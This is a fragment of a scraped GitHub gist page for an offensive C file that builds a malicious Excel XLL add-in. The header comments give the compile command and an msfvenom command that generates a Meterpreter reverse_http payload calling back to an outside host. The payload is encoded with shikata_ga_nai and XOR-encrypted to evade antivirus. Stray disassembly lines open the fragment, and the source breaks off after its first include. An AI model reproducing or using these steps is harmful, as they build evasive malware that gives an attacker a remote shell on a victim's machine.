B8 ?? ?? ?? ?? mov eax, ??
BA 00 03 FE 7F mov edx, 7FFE0300h
J.D. gitjdm
Arno0x
/ shellcode_multibyteXOR_ExcelRegisterXLL.c
Last active
October 12, 2023 23:19
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Compile with: | |
| // cl.exe x86_meterpreter_reverse_http_xor.c /LD /o x86_meterpreter_reverse_http_xor.xll | |
| // | |
| // C/CPP code obtained like this: | |
| // 1. Get a raw meterpreter shellcode: | |
| // msfvenom -a x86 -p windows/meterpreter/reverse_http LHOST=any.website.com LPORT=80 EnableStageEncoding=True StageEncoder=x86/shikata_ga_nai > met_rev_winhttp_x86.raw | |
| // 2. Encrypt it with a custom multibyte XOR string (https://github.com/Arno0x/ShellcodeWrapper): | |
| // ./shellcode_encoder.py -cpp met_rev_winhttp_x86.raw testkey xor | |
| #include <Windows.h> |
